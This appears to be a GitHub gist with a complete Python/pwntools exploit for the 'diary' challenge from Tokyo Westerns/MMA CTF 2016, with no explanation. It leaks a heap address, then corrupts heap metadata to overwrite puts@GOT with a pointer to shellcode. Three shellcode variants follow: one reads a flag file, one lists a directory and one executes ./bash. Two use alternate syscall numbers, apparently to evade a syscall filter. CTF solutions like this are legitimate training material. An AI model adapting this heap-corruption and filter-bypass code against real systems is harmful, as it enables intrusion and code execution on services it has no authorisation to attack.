Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
diary - Tokyo Westerns / MMA CTF 2nd 2016
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
from pwn import *
context.update(arch='amd64', os='linux')
p = lambda x: struct.pack('<Q', x)
u = lambda x: struct.unpack('<Q', x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ''
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ''
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
def process(cmd):
import subprocess
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = 'pwn1.chal.ctf.westerns.tokyo'
port = 13856
else:
host = '127.0.0.1'
port = 4000
s = connect(host, port)
def register(date, content, size=None):
recvuntil('>> ')
s.send('1\n')
recvuntil('... ')
s.send('%s\n' % date)
recvuntil('... ')
if size is None:
size = len(content)
s.send('%d\n' % size)
recvuntil('>> ')
s.send(content)
def show(date):
recvuntil('>> ')
s.send('2\n')
recvuntil('... ')
s.send('%s\n' % date)
recvuntil('%s\n' % date)
return recvuntil('1.Register')[:-10]
def delete(date):
recvuntil('>> ')
s.send('3\n')
recvuntil('... ')
s.send('%s\n' % date)
register('1970/01/01', 'A' * 32)
register('1970/01/02', 'B' * 32)
delete('1970/01/01')
delete('1970/01/02')
register('1970/01/01', 'A' * 48, size=64)
res = show('1970/01/01')
heap = u(res[48:48+6].ljust(8, '\0'))
print 'heap : %x' % heap
heap_base = heap - 0x80
print 'heap_base : %x' % heap_base
delete('1970/01/01')
# read file flagflag_oh_i_found
sc = asm("""
jmp skip
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
skip:
jmp loadstring
file_read:
pop rdi
xor rax,rax
push rax
pop rsi
push rax
pop rdx
mov rax,0x40000002
syscall
push rax
pop rdi
push rsi
pop rax
push rsp
pop rsi
mov dl,0x40
mov rax,0x40000000
syscall
xchg rax,rdx
mov dil,0x1
mov rax,0x40000001
syscall
ret
loadstring:
call file_read
.asciz "flagflag_oh_i_found"
""")
# read directory
#sc = asm("""
asm("""
jmp skip
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
skip:
jmp loadstring
dir_read:
pop rdi
xor rax,rax
push rax
pop rsi
push rax
pop rdx
mov rax,0x40000002
syscall
getdents:
mov dx,0x400
mov rsi,rsp
mov rdi,rax
mov rax,0x4000004e
syscall
test rax,rax
jle end
mov r10,rsp
lea r8,[rax+r10]
next_ent:
lea rsi,[r10+0x12]
write:
xor rdx,rdx
mov dl,0x1
mov dil,0x1
xor rax,rax
mov rax,0x40000001
syscall
inc rsi
mov al,byte ptr [rsi]
test al,al
jnz write
lea rsi,[rdx+0x9]
push rsi
mov rsi,rsp
mov rax,0x40000001
syscall
add rsp, 8
movzx rsi,word ptr [r10+0x10]
add r10,rsi
cmp r10,r8
jl next_ent
jmp getdents
end:
ret
loadstring:
call dir_read
.asciz "."
""")
# execve ./bash
#sc = asm("""
asm("""
jmp skip
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
skip:
jmp loadstring
execve:
xor rax,rax
pop rdi
push rax
pop rsi
push rax
pop rdx
mov rax,0x4000003b
syscall
ret
loadstring:
call execve
.asciz "./bash"
""")
register('2000/01/01', 'A'*32)
register('2000/01/02', 'B'*32)
delete('2000/01/01')
payload = (
'A' * 24 +
sc.ljust(224, '\x90') +
p(0x1) + # size
p(heap_base+0x200) +
p(heap_base+0x200) +
''
).ljust(32+0x140, 'C')
register('2000/01/03', payload)
delete('2000/01/02')
payload = (
'D' * 8 +
'Z' * 16 +
p(0xdeadbeef) +
p(heap_base+0xa8+24) + # shellcode (fd)
p(0x602020-8) + # puts@got (bk)
p(0xdeadbeef) +
'D' * 8 +
p(0x30) + # prev_size
''
).ljust(72, 'D')
register('2000/01/04', payload + '\n', size=72)
delete('2000/01/03')
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment